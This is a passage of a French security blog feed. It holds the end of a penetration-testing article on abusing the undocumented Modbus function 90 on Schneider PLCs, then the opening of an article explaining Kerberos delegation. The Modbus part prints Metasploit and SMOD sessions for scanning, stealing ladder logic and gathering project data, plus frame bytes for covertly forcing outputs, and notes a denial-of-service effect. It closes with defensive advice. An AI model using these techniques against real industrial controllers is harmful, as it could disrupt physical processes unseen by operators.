&lt; SMOD &gt;
 ------- 
        \   ^__^
         \  (xx)\_______
            (__)\       )\/\
             U  ||----w |
                ||     ||
          --=[MODBUS Penetration Test FrameWork
       --+--=[Version : 1.0.4
       --+--=[Modules : 23
       --+--=[Coder   : Farzin Enddo
          --=[github  : www.github.com/enddo

SMOD &gt; use modbus/scanner/getfunc
SMOD modbus(getfunc) &gt; show options
 Name     Current Setting  Required  Description                                 
 ----     ---------------  --------  -----------                                 
 Output   True             False     The stdout save in output directory         
 RHOSTS                    True      The target address range or CIDR identifier 
 RPORT    502              False     The port number for modbus protocol         
 Threads  1                False     The number of concurrent threads            
 UID      None             True      Modbus Slave UID.                           
SMOD modbus(getfunc) &gt; set RHOSTS 192.168.0.110
SMOD modbus(getfunc) &gt; set UID 1
SMOD modbus(getfunc) &gt; exploit
[+] Module Get Function Start
[+] Looking for supported function codes on 192.168.0.110
[+] Function Code 1(Read Coils) is supported.
[+] Function Code 2(Read Discrete Inputs) is supported.
[+] Function Code 3(Read Multiple Holding Registers) is supported.
[+] Function Code 4(Read Input Registers) is supported.
[+] Function Code 5(Write Single Coil) is supported.
[+] Function Code 6(Write Single Holding Register) is supported.
[+] Function Code 8(Diagnostic) is supported.
[+] Function Code 15(Write Multiple Coils) is supported.
[+] Function Code 16(Write Multiple Holding Registers) is supported.
[+] Function Code 22(Mask Write Register) is supported.
[+] Function Code 23(Read/Write Multiple Registers) is supported.
[+] Function Code 43(Read Device Identification) is supported.
[+] Function Code 90 is supported.</pre>
</div>
<p>&nbsp;</p>
<p>On peut ainsi utiliser les fonctions de diagnostique pour identifier précisément l’automate, en l’occurrence un Schneider M340 :</p>
<div style="text-align: justify;">
<p class="separator" style="clear: both; text-align: center;">
<figure id="post-15820 media-15820" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15820 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/3.jpg" alt="" width="375" height="206" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/3.jpg 375w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/3-348x191.jpg 348w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/3-71x39.jpg 71w" sizes="auto, (max-width: 375px) 100vw, 375px" /></figure>
</div>
<div style="text-align: justify;">
<p>&nbsp;</p>
<h2>La fonction Modbus 0x5a</h2>
</div>
<div style="text-align: justify;">
<h3>Historique</h3>
</div>
<div style="text-align: justify;">L’utilisation du protocole Modbus pour la programmation des automates Schneider a été révélée publiquement grâce aux travaux du projet Basecamp lors de la célèbre conférence S4, dédiée à la sécurité des SI industriels : <a href="http://www.digitalbond.com/blog/2012/01/19/project-basecamp-at-s4/">http://www.digitalbond.com/blog/2012/01/19/project-basecamp-at-s4/</a></div>
<div style="text-align: justify;">Vous pouvez retrouver les vulnérabilités identifiées sur les systèmes Schneider (et bien d’autres) dans la présentation de Reid Wightman : <a href="https://youtu.be/dtadMIN3CCc?t=35m29">https://youtu.be/dtadMIN3CCc?t=35m29</a>s</div>
<div style="text-align: justify;">Nous avions déjà évoqué cette fonctionnalité dans notre article dédié au pentest d’automates dans le magazine MISC 74 . Il suffit d’observer les trames réseau échangées entre Unity Pro et l’automate lors de sa programmation pour identifier que c’est le protocole Modbus qui est utilisé, via une fonction non-documentée (90) :</div>
<p>&nbsp;</p>
<div style="text-align: justify;">
<div style="text-align: center;">
<figure id="post-15822 media-15822" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15822 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/4.jpg" alt="" width="640" height="168" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/4.jpg 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/4-437x115.jpg 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/4-71x19.jpg 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
</div>
<div style="text-align: center;"><i>Capture réseau des échanges entre le logiciel de programmation et un automate Schneider</i></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">Comme les autres fonctions Modbus, il n’existe aucun mécanisme de sécurité pour ce protocole de programmation : il suffit d’avoir un accès réseau sur le port TCP 502 d’un automate pour pouvoir réaliser des actions d’administration.</div>
<p>&nbsp;</p>
<div style="text-align: justify;">
<h3>Récupération du programme automate</h3>
</div>
<div style="text-align: justify;">La récupération du programme de l’automate n’était, en tout cas dans nos tests, pas totalement fonctionnelle dans le module publié lors du projet Basecamp. Nous avions pu le modifier légèrement afin de prendre en compte des programmes de taille plus importante. Nous avons simplement eu à modifier un compteur pour la rendre fonctionnelle. Détaillons son utilisation.</div>
<div style="text-align: justify;">
<ul>
<li>Création d’une archive programme vide : Dans le logiciel Unity Pro, ouvrons un programme existant et enregistrons-le en tant qu’archive (« .sta »)</li>
<li>Récupérons le programme de l’automate</li>
</ul>
</div>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>msf auxiliary(modicon_stux_transfer_ASO) &gt; set ACTION DOWNLOAD
ACTION =&gt; DOWNLOAD
msf auxiliary(modicon_stux_transfer_ASO) &gt; run

[*] 192.168.0.110:502 - MODBUS - Sending read request
[*] 192.168.0.110:502 - MODBUS - Retrieving file
[*] 192.168.0.110:502 - MODBUS - Closing file  '/opt/metasploit/apps/pro/msf3/data
/exploits/modicon_ladder.apx'
[*] Auxiliary module execution completed
msf auxiliary(modicon_stux_transfer_ASO) &gt;</pre>
</div>
<ul>
<li>Insérons le fichier « .apx » dans l’archive</li>
</ul>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>root@kali:~# file demo_archive.sta 
demo_archive.sta: Zip archive data, at least v1.0 to extract
root@kali:~# unzip demo_archive.sta
Archive:  demo_archive.sta
   creating: BinAppli/
  inflating: BinAppli/Station.apd    
  inflating: BinAppli/Station.apx    
  inflating: STATION.CTX             
 extracting: TA.xma                  
   creating: ThirdParty/
root@kali:~/unity# cp /opt/metasploit/apps/pro/msf3/data/exploits/modicon_ladder.apx 
BinAppli/Station.apx
root@kali:~/unity# ls
BinAppli  demo_archive.sta  STATION.CTX  TA.xma  ThirdParty
root@kali:~/unity# rm BinAppli/Station.apd
root@kali:~/unity# zip demo_archive2.sta -r BinAppli/ STATION.CTX  TA.xma  ThirdParty/
  adding: BinAppli/ (stored 0%)
  adding: BinAppli/Station.apx (deflated 61%)
  adding: BinAppli/Station.apd (deflated 19%)
  adding: STATION.CTX (deflated 58%)
  adding: TA.xma (stored 0%)
  adding: ThirdParty/ (stored 0%)
root@kali:~/unity#</pre>
</div>
<ul>
<li>Ouvrons le fichier dans Unity : il suffit ensuite d’ouvrir le fichier avec Unity pro pour accéder au programme :</li>
</ul>
<p class="separator" style="clear: both; text-align: center;">
<div style="text-align: justify;">
<div style="text-align: center;">
<figure id="post-15824 media-15824" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15824 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/5-1.png" alt="" width="640" height="393" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/5-1.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/5-1-311x191.png 311w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/5-1-64x39.png 64w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
</div>
<div style="text-align: center;"><i>Affichage du code « ladder » dans Unity Pro</i></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">La vidéo ci-dessous montre l’utilisation du module pour télécharger le programme et vérifier qu’il s’agit du même que celui issu de Unity Pro : <a href="https://www.youtube.com/watch?v=xRbulEX3_3o">https://www.youtube.com/watch?v=xRbulEX3_3o</a></div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">La démarche inverse, reprogrammer l’automate, est également possible en théorie. En revanche, nous n’avons pas réussi à le rendre fonctionnel. Lors de l’upload d’un nouveau programme, nous obtenons ensuite cette erreur :</div>
<p>&nbsp;</p>
<div style="text-align: justify;">
<p id="post-15826 media-15826" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15826 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/6.png" alt="" width="640" height="113" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/6.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/6-437x77.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/6-71x13.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></p>
</div>
<p>&nbsp;</p>
<div style="text-align: justify;">L’automate a bien été reprogrammé, mais il ne reconnaît pas le programme transmis et considère donc qu’il n’est pas programmé. Cette attaque permet donc plutôt un déni de service.</div>
<div style="text-align: justify;">
<h4>Récupération des informations du programme</h4>
</div>
<div style="text-align: justify;">L’analyse des trames échangées lors de l’initialisation de la connexion entre le logiciel de programmation légitime (Unity Pro) et l’automate permet d’identifier qu’un certain nombre d’informations sont envoyées par l’automate.</div>
<p class="separator" style="clear: both; text-align: center;">
<div style="text-align: center;">
<figure id="post-15828 media-15828" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15828 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/7.png" alt="" width="640" height="364" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/7.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/7-336x191.png 336w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/7-69x39.png 69w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
</div>
<div style="text-align: justify;">
<div style="text-align: center;"><i>Capture réseau entre Unity Pro et un automate Schneider M340</i></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">Nous avons donc modifié le module Metasploit précédent afin de permettre la récupération de ces informations :</div>
<div style="text-align: justify;"></div>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>msf &gt; use auxiliary/admin/scada/modicon_stux_transfer_ASO 
msf auxiliary(modicon_stux_transfer_ASO) &gt; show actions

Auxiliary actions:

   Name          Description
   ----          -----------
   DOWNLOAD      Download the ladder logic from the PLC
   GATHER_INFOS  Get informations about the PLC configuration
   UPLOAD        Upload a ladder logic file to the PLC


msf auxiliary(modicon_stux_transfer_ASO) &gt; set ACTION GATHER_INFOS 
ACTION =&gt; GATHER_INFOS
msf auxiliary(modicon_stux_transfer_ASO) &gt; show options

Module options (auxiliary/admin/scada/modicon_stux_transfer_ASO):

   Name      Current Setting                     Required  Description
   ----      ---------------                     --------  -----------
   FILENAME  [...]/modicon_ladder.apx            yes       The file to send or receive
   RHOST                                         yes       The target address
   RPORT     502                                 yes       The target port


Auxiliary action:

   Name          Description
   ----          -----------
   GATHER_INFOS  Get informations about the PLC configuration


msf auxiliary(modicon_stux_transfer_ASO) &gt; set RHOST 192.168.0.110
RHOST =&gt; 192.168.0.110
msf auxiliary(modicon_stux_transfer_ASO) &gt; run

[*] Sending initialization requests ...
[+] PLC model : BMX P34 2030
[+] Project name : Test - Project ABC 123 Yolo
[+] Project comments : this is where the comments are put. YOLO @@@ !!!
[+] Unity Pro software version : V5.0
[*] Auxiliary module execution completed</pre>
</div>
<div style="text-align: justify;">
<p style="text-align: center;"><i>Récupération d’information via le module Metasploit</i></p>
</div>
<p>&nbsp;</p>
<div style="text-align: justify;">Ces informations concordent avec celles obtenues graphiquement dans le logiciel légitime :</div>
<p>&nbsp;</p>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15830 media-15830" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15830 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/8.png" alt="" width="525" height="408" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/8.png 525w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/8-246x191.png 246w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/8-50x39.png 50w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/8-156x121.png 156w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/8-155x120.png 155w" sizes="auto, (max-width: 525px) 100vw, 525px" /></figure>
</div>
<div style="text-align: center;"><i>Informations sur le projet dans Unity pro</i></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">
<h3>Forçage de valeurs</h3>
</div>
<div style="text-align: justify;">Le logiciel Unity Pro embarque également des fonctionnalités de simulation et de « forçage » des valeurs de l’automate. En effet, lors de l’installation d’un nouveau procédé industriel, il peut s’avérer pratique de « fausser » la valeur d’une variable pour simuler une action ou une situation spécifique. L’équivalent dans le monde informatique serait de « coder en dur » la valeur d’une variable.</div>
<div style="text-align: justify;">Cette opération se réalise dans Unity Pro par la création d’une « table d’animation » dans laquelle on va renseigner les variables à forcer :</div>
<p>&nbsp;</p>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15832 media-15832" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15832 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/9.png" alt="" width="640" height="418" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/9.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/9-292x191.png 292w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/9-60x39.png 60w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
</div>
</div>
<div style="text-align: justify;">
<div style="text-align: center;"><i>Forçage de valeurs à 1 dans Unity Pro</i></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Via l’analyse des trames réseau échangées lors du forçage de valeurs, il a été possible de comprendre partiellement le protocole. Ci-dessous, on présente une comparaison des trames pour forcer la sortie <b>%Q0.17</b> à 1, et forcer la sortie <b>%Q0.18</b> à 0 :</div>
<div style="text-align: justify;"></div>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>[…]\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x11\x00\x01\x00\x00\x00\x03
[…]\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x12\x00\x01\x00\x00\x00\x02</pre>
</div>
<div style="text-align: justify;">Un octet permet de déterminer la sortie à forcer :</div>
<div style="text-align: justify;">
<ul>
<li>0x11 pour la sortie %Q0.17</li>
<li>0x12 pour la sortie %Q0.18</li>
</ul>
</div>
<p>La valeur de forçage est déterminée par le dernier octet :</p>
<ul>
<li>0x03 pour 0</li>
<li>0x02 pour 1</li>
<li>0x04 pour annuler le forçage</li>
</ul>
<div style="text-align: justify;"></div>
<div style="text-align: justify;"><span style="font-family: inherit;">Dans la vidéo ci-dessous, on démontre le fonctionnement du module Metasploit en alternant les valeurs de forçage des sorties 17 à 23 : <a href="https://www.youtube.com/watch?time_continue=2&amp;v=D1p2ni0eGhc">https://www.youtube.com/watch?time_continue=2&amp;v=D1p2ni0eGhc</a></span></div>
<p>&nbsp;</p>
<div style="text-align: justify;">
<h3><span style="font-family: inherit;">Pourquoi cette fonction est-elle intéressante du point de vue d’un attaquant ?</span></h3>
</div>
<div style="text-align: justify;"><span style="font-family: inherit;">Dans un SI industriel en fonctionnement, les opérateurs ne surveillent pas le procédé avec Unity pro, mais un logiciel de supervision de type SCADA ou DCS, qui va leur permettre d’avoir une vue d’ensemble du précédé et de pouvoir interagir avec les différents composants. Ce logiciel va donc interroger, à intervalle régulier, les automates pour afficher les valeurs correspondantes à l’opérateur.</span></div>
<div style="text-align: justify;"><span style="font-family: inherit;">Cependant, dans la majorité des cas, ces logiciels ne vont pas directement afficher la valeur des sorties des automates ; des variables intermédiaires ou calculées sont utilisées. Ainsi, un attaquant capable de forcer la valeur des sorties de l’automate va pouvoir influencer le procédé physique, sans pour autant que cela soit visible du point de vue de l’opérateur en train de superviser le procédé.</span></div>
<div style="text-align: justify;"><span style="font-family: inherit;">Une démonstration live a été faite lors de la DEFCON. On peut observer que la valeur du feu rouge sur le logiciel de supervision IGSS reste fixe, tandis qu’en manipulant directement les variables de sortie on peut influencer sur la couleur du feu physique : <a href="https://www.youtube.com/watch?v=A_B69Rifu1g">https://www.youtube.com/watch?v=A_B69Rifu1g</a></span></div>
<div style="text-align: justify;"><span style="font-family: inherit;"> </span></div>
<div style="text-align: justify;"><span style="font-family: inherit;">Le module Metasploit n&#8217;étant pas totalement finalisé, il n&#8217;a pas fait l&#8217;objet d&#8217;une pull request vers le dépôt officiel. Vous pouvez néanmoins le trouver ici : <a href="https://github.com/wavestone-cdt/ics-tools">https://github.com/wavestone-cdt/ics-tools</a>.</span></div>
<p>&nbsp;</p>
<h2 style="text-align: justify;"><span style="font-family: inherit;">Conclusion et sécurisation</span></h2>
<div style="text-align: justify;"><span style="font-family: inherit;">Ces travaux ont été principalement réalisés sur des automates Schneider Premium et M340. Ils sont partiellement portables sur les nouvelles générations (par exemple M221) avec quelques ajustements. En effet, une capture réseau lors de la programmation d’un automate M221 montrera que c’est bien la fonction Modbus 90 qui est utilisée pour la programmation, mais de manière légèrement différente. Elle peut également être utilisé pour la mise en mode START ou STOP, ainsi que pour le forçage des valeurs de sortie.</span></div>
<p>&nbsp;</p>
<div style="text-align: justify;">
<h3><span style="font-family: inherit;">Qu’en est-il ailleurs ?</span></h3>
</div>
<div style="text-align: justify;"><span style="font-family: inherit;">L’utilisation de protocoles de communication non-sécurisés pour la programmation et la maintenance des automates programmables industriels est encore une réalité en cette fin d’année 2017. L’exemple ici présenté ne vise pas à cibler la marque Schneider en particulier. La grande majorité des constructeurs d’automates utilisent des protocoles non authentifiés pour la programmation. On pourrait notamment citer le cas de la majorité des automates reposant sur la bibliothèque CodeSys, comme démontré (là aussi) par Reid Wightman : <a href="http://www.digitalbond.com/blog/2012/10/25/new-project-basecamp-tools-for-codesys-200-vendors-affected/">http://www.digitalbond.com/blog/2012/10/25/new-project-basecamp-tools-for-codesys-200-vendors-affected/</a>.</span></div>
<p>&nbsp;</p>
<div style="text-align: justify;">
<h3><span style="font-family: inherit;">Que faire ?</span></h3>
</div>
<div style="text-align: justify;"><span style="font-family: inherit;">La sécurisation d’un SI industriel doit donc prendre en compte le fait qu’un accès réseau sur le port TCP 502 permet d’accéder à la logique de l’automate, de la modifier mais également de forcer certaines valeurs, ce qui permet à un attaquant de mener une attaque qui ne sera pas visible de l’opérateur.</span></div>
<div style="text-align: justify;"><span style="font-family: inherit;">Les dernières versions d’automates, notamment dans les gammes les plus chères, incluent désormais des fonctions de sécurisation. L’approche la plus fréquente est d’encapsuler les protocoles non-sécurisés dans un tunnel authentifié et chiffré, avec TLS (Siemens) ou IPSEC (Schneider). Il conviendra cependant d’évaluer le bon niveau de sécurité de ces nouvelles fonctionnalités.</span></div>
<div style="text-align: justify;"><span style="font-family: inherit;">Il faut donc commencer par appliquer les bonnes pratiques de cloisonnement réseau, et superviser les actions d’administration. On peut par exemple mettre en place une sonde de type IDS avec une signature dédiée à la fonction 90 de Modbus.</span></div>
<div style="text-align: justify;"><span style="font-family: inherit;">Enfin, un axe d’amélioration axé métier serait la mise en place de mécanismes de contrôle d’intégrité au niveau des automates et du SCADA, permettant de s’assurer que les variables utilisées reflètent la réalité du procédé physique. On pourrait ainsi imaginer l&#8217;insertion, dans la logique de l&#8217;automate, quelques fonctions visant à assurer la détection d&#8217;une incohérence entre une valeur intermédiaire et une valeur de sortie. De la même manière, il serait intéressant pour le logiciel SCADA de pouvoir notifier l&#8217;opérateur lorsque des valeurs sont forcées, mais cette capacité n&#8217;est, à notre connaissance, pas proposée par les automates étudiés.</span></div>
<div style="text-align: justify;"><span style="font-family: inherit;"><br />
</span></p>
<div style="text-align: right;"><b>Arnaud SOULLIE</b></div>
</div>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2018/02/fun-with-modbus-0x5a/">Fun with Modbus 0x5A</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Compromission d’un domaine Windows à l’aide des délégations Kerberos</title>
		<link>https://www.riskinsight-wavestone.com/en/2017/04/compromission-domaine-windows-delegation-kerberos/</link>
		
		<dc:creator><![CDATA[Nicolas Daubresse]]></dc:creator>
		<pubDate>Wed, 19 Apr 2017 17:18:23 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[Active directory]]></category>
		<category><![CDATA[audit]]></category>
		<category><![CDATA[authentification]]></category>
		<category><![CDATA[kerberos]]></category>
		<category><![CDATA[pentest]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=15795</guid>

					<description><![CDATA[<p>Quelques rappels sur le protocole d’authentification Kerberos Kerberos est un protocole d’authentification réseau reposant sur un mécanisme de clés secrètes (chiffrement symétrique) et l’utilisation de tickets. Il fait partie intégrante des système d’exploitation Windows depuis la version Serveur 2000. Différents...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2017/04/compromission-domaine-windows-delegation-kerberos/">Compromission d’un domaine Windows à l’aide des délégations Kerberos</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<h2>Quelques rappels sur le protocole d’authentification Kerberos</h2>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Kerberos est un protocole d’authentification réseau reposant sur un mécanisme de clés secrètes (chiffrement symétrique) et l’utilisation de tickets. Il fait partie intégrante des système d’exploitation Windows depuis la version Serveur 2000. Différents termes spécifiques sont utilisés pour détailler ce protocole :</p>
<ul style="font-weight: 400;">
<li>KDC (<em>Key Distribution Center</em>) : Le KDC est un service installé sur les contrôleurs de domaine et permettant l’obtention des différents tickets par un utilisateur.</li>
<li>TGT (<em>Ticket-Granting Ticket</em>) : Le TGT est un ticket attribué par le KDC à un utilisateur. Ce ticket représente l’identité de l’utilisateur, et lui permet d’effectuer des demandes de TGS auprès du KDC.</li>
<li>TGS (<em>Ticket-Granting Service</em>) : Le TGS est également un ticket attribué par le KDC pour représenter un utilisateur. Il permet à l’utilisateur de s’authentifier auprès d’un service spécifique, dont le nom est inscrit dans le ticket. Un exemple d’un tel ticket est le suivant :</li>
</ul>
<figure id="post-15796 media-15796" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15796 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/1.png" alt="" width="454" height="83" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/1.png 454w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/1-437x80.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/1-71x13.png 71w" sizes="auto, (max-width: 454px) 100vw, 454px" /></figure>
<p>Le schéma d’une authentification Kerberos classique est le suivant :</p>
<figure id="post-15798 media-15798" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15798 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/2.png" alt="" width="514" height="315" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/2.png 514w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/2-312x191.png 312w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/2-64x39.png 64w" sizes="auto, (max-width: 514px) 100vw, 514px" /></figure>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Dans la première étape, l’utilisateur envoi au contrôleur de domaine un <em>timestamp</em> chiffré à l’aide du hash NTLM de son mot de passe. Ayant accès à ce hash, le contrôleur de domaine, et plus précisément le KDC, peut déchiffrer l’information reçue et vérifier le <em>timestamp</em>, ce qui prouve l’identité de l’utilisateur. Le KDC fournit alors à l’utilisateur son TGT (étape 2).</p>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">L’utilisateur peut alors fournir le TGT préalablement récupéré pour effectuer une demande de TGS (étape 3). Le TGT étant représentatif de l’utilisateur, le KDC peut valider son identité et lui fournir un TGS pour le service demandé (étape 4).</p>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Enfin, l’utilisateur transmet ce TGS comme preuve de son identité auprès du service (étape 5).</p>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Dans le protocole Kerberos, ce sont donc bien les tickets qui permettent d’assurer l’identité d’un utilisateur, au même titre qu’un couple nom d’utilisateur / mot de passe le fait dans une authentification classique.</p>
<h2>Introduction aux délégations Kerberos</h2>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Microsoft a introduit les délégations Kerberos dans l’objectif de permettre à une application de réutiliser l’identité d’un utilisateur pour accéder à une ressource hébergée sur un serveur différent. Un cas d’usage est par exemple l’accès à des documents hébergés sur un serveur dédié depuis une plateforme SharePoint :</p>
<figure id="post-15800 media-15800" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15800 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/3.png" alt="" width="385" height="249" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/3.png 385w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/3-295x191.png 295w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/3-60x39.png 60w" sizes="auto, (max-width: 385px) 100vw, 385px" /></figure>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">L’utilisateur n’ayant pas d’accès direct au serveur de fichiers, il s’authentifie sur la plateforme SharePoint qui doit alors transmettre l’identité de l’utilisateur au serveur de fichiers.</p>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Cependant, les tickets de service étant délivrés pour une application spécifique, le SharePoint ne peut transmettre directement le ticket qu’il a reçu de l’utilisateur. C’est donc pour répondre à cette problématique que Microsoft a mis en place les délégations Kerberos, qui existent sous deux formes :</p>
<ul style="font-weight: 400;">
<li>Les délégations non contraintes, apparues avec le système d’exploitation Windows Serveur 2000, et qui donnent l’autorisation à un compte de service de réutiliser l’identité de l’utilisateur sur n’importe quel service du domaine ou de la forêt.</li>
<li>Les délégations contraintes, apparues avec le système d’exploitation Windows Serveur 2003, et qui permettent un meilleur contrôle en limitant les services sur lesquels un compte de service donné peut s’authentifier en tant que l’utilisateur.</li>
</ul>
<h2 data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Les délégations Kerberos non contraintes</h2>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Le schéma d’authentification d’un utilisateur désirant accéder à une ressource dans le cas d’une délégation Kerberos non contrainte est le suivant :</p>
<figure id="post-15802 media-15802" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15802 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/4.png" alt="" width="734" height="314" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/4.png 734w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/4-437x187.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/4-71x30.png 71w" sizes="auto, (max-width: 734px) 100vw, 734px" /></figure>
